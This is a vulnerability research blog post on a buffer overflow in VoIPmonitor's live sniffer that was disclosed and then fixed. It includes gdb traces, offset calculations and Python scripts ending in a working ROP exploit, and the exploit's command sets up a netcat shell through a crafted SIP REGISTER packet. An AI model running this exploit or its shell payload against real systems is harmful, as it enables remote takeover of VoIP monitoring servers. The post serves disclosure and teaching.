Executive summary (TL;DR)
We fuzzed VoIPmonitor by using SIPVicious PRO and got a crash in the software’s live sniffer feature when it is switched on. We identified the cause of the crash by looking at the source code, which was a classic buffer overflow. Then we realized that was fully exploitable since the binaries distributed do not have any memory corruption protection. So we wrote exploit code using ROP gadgets to get remote code execution by just sending a SIP packet. We also reported this upstream so that it was fixed in the official distribution.
Vulnerability discovery through fuzzing
During our VoIP penetration tests, we occasionally come across VoIPmonitor, running silently in the background, generating audio recordings or traffic captures which are then presented to end users via some fancy web application. It is also commonly used by administrators as a SIP packet sniffer, to measure quality of service or to generate statistical and billing reports. It is actually a great tool and pretty amazing in terms of features and what it does for VoIP administrators and developers.
As part of our research, we felt it was worth investing some time in VoIPmonitor bug hunting. A few downloads, builds and configurations later, we had the sniffer and GUI system to test against. The obvious starting point was to fire up SIPVicious PRO’s fuzzing tool which randomly sends malformed SIP messages. There were no obvious crashes, which is not surprising when fuzzing a mature tool such as VoIPmonitor. However, we don’t give up that easily! So, we started to switch on different VoIPmonitor features. One such feature was the live sniffer which when switched on, crashed VoIPmonitor in a matter of seconds!
Why did it crash?
Right after the crash, we could see our backtrace. This makes it easier to pinpoint which functions were being executed when the crash occurred. The trace looked like the following:
Thread 19 "voipmonitor" received signal SIGABRT, Aborted.
[Switching to Thread 0x7fffeaf5f700 (LWP 398082)]
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff64ab859 in __GI_abort () at abort.c:79
#2 0x00007ffff65163ee in __libc_message
(action=action@entry=do_abort, fmt=fmt@entry=0x7ffff664007c "*** %s ***: terminated\n")
at ../sysdeps/posix/libc_fatal.c:155
#3 0x00007ffff65b8b4a in __GI___fortify_fail
(msg=msg@entry=0x7ffff6640012 "buffer overflow detected") at fortify_fail.c:26
#4 0x00007ffff65b73e6 in __GI___chk_fail () at chk_fail.c:28
#5 0x0000555555877d16 in memcpy (__len=30017, __src=<optimized out>, __dest=0x7fffeaf55320)
at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#6 save_packet_sql(Call*, packet_s_process*, int, pcap_pkthdr*, unsigned char*) (call=call@entry=
0x0, packetS=packetS@entry=0x555560e6be00, uid=1, header=header@entry=0x0, packet=packet@entry=0x0)
at sniff.cpp:412
By looking at the backtrace, it was clear that the problematic code was at line 412 in sniff.cpp
. The following were the lines of interest:
char description[1024] = "";
// ...
description[(char*)memptr - (char*)(packetS->data_()+ packetS->sipDataOffset)] = '\0';
This is a typical buffer overflow vulnerability which is usually difficult to exploit due to ASLR, Fortify Source and additional protections which both the OS and modern programming languages offer. Since our binary was built using make
, it contained all of these protections in place. We discovered that the description field is populated via the Request-Line or Response-Line of a SIP message which is the first line in any valid SIP message. Therefore, we forged a SIP message that would reproduce this issue.
The following Python script, crash_voipmonitor.py
, was created to test the crash and eventually help us exploit VoIPmonitor:
import sys
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload_size = int(sys.argv[1])
payload = b'A' * payload_size
msg=b'REGISTER %s SIP/2.0\r\n' % (payload)
msg+=b'Via: SIP/2.0/UDP 192.168.1.132:35393;rport;branch=z9hG4bK-H\r\n'
msg+=b'Max-Forwards: 70\r\n'
msg+=b'From: <sip:85861710@demo.sipvicious.pro>;tag=mnq1nKGNZHNUkNOG\r\n'
msg+=b'To: <sip:85861710@demo.sipvicious.pro>\r\n'
msg+=b'Call-ID: 93X9dNZO2qdcfpdu\r\n'
msg+=b'CSeq: 1 REGISTER\r\n'
msg+=b'Contact: <sip:85861710@192.168.1.132:35393;transport=udp>\r\n'
msg+=b'Expires: 60\r\n'
msg+=b'Content-Length: 0\r\n'
msg+=b'\r\n'
s.sendto(msg, ('167.71.58.84', 5060))
This script generates a payload starting with the string 'REGISTER '
and followed by a long string made up of a series of A characters. We will refer to this repetition of A characters as the padding. As expected, since the buffer length was 1024, running python crash_voipmonitor.py 1025
crashed the server.
Now, with all the modern memory corruption protections in place, this would be just a crash, which is a critical problem in a VoIP environment. In that case, it would simply affect the availability of the service but the confidentiality or integrity would not be touched. However, a keen eyed researcher noticed that the static builds that are downloadable from voipmonitor.org have standard security features explicitly turned off. These builds are also used in the upgrade process which can be done through the GUI. Here’s the output from hardening-check against the static binary https://www.voipmonitor.org/current-stable-sniffer-static-64bit.tar.gz:
hardening-check voipmonitor
voipmonitor:
Position Independent Executable: no, normal executable!
Stack protected: no, not found!
Fortify Source functions: unknown, no protectable libc functions used
Read-only relocations: no, not found!
Immediate binding: no, not found!
Stack clash protection: unknown, no -fstack-clash-protection instructions found
Control flow integrity: unknown, no -fcf-protection instructions found!
Exploitation time!
Since we were dealing with a binary that is not a Position Independent Executable (PIE), we knew that we could overwrite the return address of the function save_packet_sql
with an address pointing to something that we, the attackers, control. This would allow us to perform return-oriented attacks against VoIPmonitor. What does this mean? Remote code execution - the holy grail of movie-style hacking!
Unlike the movies, however, we needed to do a few calculations to figure out where we need to point to. The theory is that by controlling where the vulnerable function returns to in memory, an attacker can execute arbitrary code.
The static binary was executed and debugged by attaching gdb
to the running process. First step was to check the disassembled code of save_packet_sql
. We took note of the function’s return address (i.e. the retq
instruction) that we wanted to control. This was at address 0x69a51b
. The following is a log from our gdb session:
disass save_packet_sql
Dump of assembler code for function save_packet_sql(Call*, packet_s_process*, int, pcap_pkthdr*, unsigned char*):
0x0000000000699b70 <+0>: push %r15
0x0000000000699b72 <+2>: push %r14
0x0000000000699b74 <+4>: push %r13
0x0000000000699b76 <+6>: push %r12
...
0x000000000069a511 <+2465>: pop %rbx
0x000000000069a512 <+2466>: pop %rbp
0x000000000069a513 <+2467>: pop %r12
0x000000000069a515 <+2469>: pop %r13
0x000000000069a517 <+2471>: pop %r14
0x000000000069a519 <+2473>: pop %r15
0x000000000069a51b <+2475>: retq
A breakpoint was added at the return address by running b *0x69a51b
in gdb.
Before going any further, we looked for the location in memory where our REGISTER payload resided. This happened to be 64 bytes ahead of the address stored in the RDI register. Why the RDI register? That’s because, on x86-64 systems, the first argument to a function call is passed via the RDI register. Therefore, this gave us the address of the string that we control.
(gdb) find $rdi,+1000,'R','E','G','I','S','T','E','R'
0x7fffeffdc700
1 pattern found.
(gdb) x/1x $rdi
0x7fffeffdc6c0: 0x036f6180
(gdb) p 0x7fffeffdc700 - 0x7fffeffdc6c0
$2 = 64
By calculating the difference between the value of the stack pointer just before save_packet_sql
returns and the location of the REGISTER
payload in memory, we would get the amount of padding required to overwrite the stack pointer.
(gdb) p $sp
$5 = (void *) 0x7fffeffe4668
Size of padding = 0x7fffeffe4668 - 0x7fffeffdc700 - 9 = 32607
^ $sp
^ location of `'REGISTER '`
^ size of `'REGISTER '`
Note
The padding being calculated here is the amount of repeated A characters after the string'REGISTER '
(length 9), that is why 9 is being deducted in our calculation.When running python crash_voipmonitor.py 32607
, it was observed that we did in fact manage to overwrite all bytes up to the stack pointer. Naturally, the next step is to actually overwrite the stack pointer! All that is needed to redirect the execution flow of the program is to append an additional 8 bytes to the payload. Then we would be able to overwrite the value of the stack pointer.
We wanted to exploit it using a return-to-libc attack. Our first attempt was to redirect the execution flow of the program to the exit()
function, making VoIPmonitor quit. To do so, we retrieved the address of the exit()
function as follows:
(gdb) p exit
$1 = {void (int)} 0xf60a20 <exit>
Then we modified our Python program to overwrite the stack pointer’s address with 0xf60a20
.
import sys
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = b'A' * 32607
# Overwrite stack pointer with address of exit()
payload += struct.pack('<Q', 0xf60a20)
print(payload)
msg=b'REGISTER %s SIP/2.0\r\n' % (payload)
msg+=b'Via: SIP/2.0/UDP 192.168.1.132:35393;rport;branch=z9hG4bK-H\r\n'
msg+=b'Max-Forwards: 70\r\n'
msg+=b'From: <sip:85861710@demo.sipvicious.pro>;tag=mnq1nKGNZHNUkNOG\r\n'
msg+=b'To: <sip:85861710@demo.sipvicious.pro>\r\n'
msg+=b'Call-ID: 93X9dNZO2qdcfpdu\r\n'
msg+=b'CSeq: 1 REGISTER\r\n'
msg+=b'Contact: <sip:85861710@192.168.1.132:35393;transport=udp>\r\n'
msg+=b'Expires: 60\r\n'
msg+=b'Content-Length: 0\r\n'
msg+=b'\r\n'
s.sendto(msg, ('167.71.58.84', 5060))
Running this payload against VoIPmonitor made it exit gracefully, confirming that exploitation was possible.
Shutting down the server is cool, however, remote code execution would be much more desirable. Here, the system function comes in handy. So first, we retrieved the address of system()
:
(gdb) p system
$1 = {int (const char *)} 0xb22fd0 <system>
The system()
function takes one parameter, which (again) on x86-64 systems would be stored at the memory address stored in $rdi
. How could we actually control the RDI register? Return Oriented Programming (ROP) gadgets is the answer!
We looked for a ROP gadget that increments the value of the RDI register by some arbitrary value. For this, we used ropper which found a gadget that adds 0x308
to the value stored in the RDI register, which is an address inside of our SIP payload in memory. This particular gadet was found at address 0x0000000000b222f1
which did the job.
After forcing the function save_packet_sql
to return execution to our ROP gadget, adding 0x308
to $rdi
, and then forcing the ROP gadget to return execution to the function system()
, we noticed that VoIPmonitor reported the following error:
This meant that a series of repeating As, which is part of our payload, was passed as the first argument to the function system()
. Not exactly what we need but almost there! The final step is to actually pass our payload command to the system function as a null terminated string, instead of the padding.
Previously we had noted that the value in the RDI register was the memory address 0x7fffeffdc6c0
. If we added 0x308
to that value via our ROP gadget, we ended up with the new address 0x7fffeffdc9c8
. Therefore, we needed to write our shell command that will be passed to system()
at this address. We knew that our SIP payload is located at 0x7fffeffdc700
, so, we needed to craft a SIP REGISTER
payload with the form:
........................REGISTER AAAA....payload\x00....
^ 0x7fffeffdc6c0 (rdi)
^ 0x7fffeffdc700
^ 0x7fffeffdc9c8
Here’s some simple math to get the padding length:
0x7fffeffdc9c8
- 0x7fffeffdc700
- 9 (len of 'REGISTER '
) = 703
The following steps were taken to achieve full exploitation:
- crafted a SIP REGISTER method, which started with
'REGISTER '
and continued padding of 703 bytes - appended a null terminated string, representing the shell command that will be executed by
system()
- added more padding until the stack pointer location is reached (calculated as follows: 32607 - 703 - length_of_arbitrary_command)
- appended address of our ROP gadget to fix the RDI register to point to our system command
- appended address of the
system()
function - appended address of the
exit()
function
This is the final exploitation code which worked against the 64-bit version of the statically built VoIPmonitor.
import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload_size=32607
payload = b'A' * 703
payload_size-=len(payload)
cmd=b'whoami;touch /tmp/woot;rm -f /tmp/f; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 31337 > /tmp/f\x00'
payload+=cmd
payload_size-=len(cmd)
payload += b'A' * payload_size
payload += struct.pack('<Q', 0x0000000000b222f1)
payload += struct.pack('<Q', 0xb22fd0)
payload += struct.pack('<Q', 0xf60a20)
msg=b'REGISTER %s SIP/2.0\r\n' % (payload)
msg+=b'Via: SIP/2.0/UDP 192.168.1.132:35393;rport;branch=z9hG4bK-kwtTkrdNAO2Wvw0v\r\n'
msg+=b'Max-Forwards: 70\r\n'
msg+=b'From: <sip:85861710@demo.sipvicious.pro>;tag=mnq1nKGNZHNUkNOG\r\n'
msg+=b'To: <sip:85861710@demo.sipvicious.pro>\r\n'
msg+=b'Call-ID: 93X9dNZO2qdcfpdu\r\n'
msg+=b'CSeq: 1 REGISTER\r\n'
msg+=b'Contact: <sip:85861710@192.168.1.132:35393;transport=udp>\r\n'
msg+=b'Expires: 60\r\n'
msg+=b'Content-Length: 0\r\n'
msg+=b'\r\n'
s.sendto(msg, ('167.71.58.84', 5060))
How does this exploit work?
Here are the steps taken by the exploit code:
- the function
save_packet_sql
finishes its execution at location0x69a51b
, when theretq
instruction is reached - the return address is popped off the overwritten stack, which redirects the code execution to our ROP gadget at address
0x0b222f1
- the ROP gadget increments the value of the RDI register by
0x308
- when the
retq
instruction is reached, the return address is popped off the overwritten stack, which redirects the code execution to the functionsystem()
located at address0xb22fd0
- the
system()
function executes the command residing at the memory address stored in the RDI register - when the
system()
function completes and theretq
instruction is reached, the return address is popped off the overwritten stack, which redirects the code execution to theexit()
function - VoIPmonitor quits
Demo time!
Reporting the issues upstream
This issue was reported to VoIPmonitor on the 10th of February 2021 and by the 15th we had an updated version which we could re-test. We confirmed that the code change did address the issue and the release was publish on the same date.
Conclusion
We learned a lot during this exercise and hope that this blog post proved to be educational or eye opening to the reader. Thanks for making it this far!
Finally, we would also like to thank the excellent VoIPmonitor team for handling this issue professionally and in a timely manner.
Takeaways from this post:
- Classic buffer overflow issues still exist
- Fuzzing is an important tool
- Make educated decisions when accepting to run services without standard memory corruption protection in your production environment
We posted the related advisories at the following locations: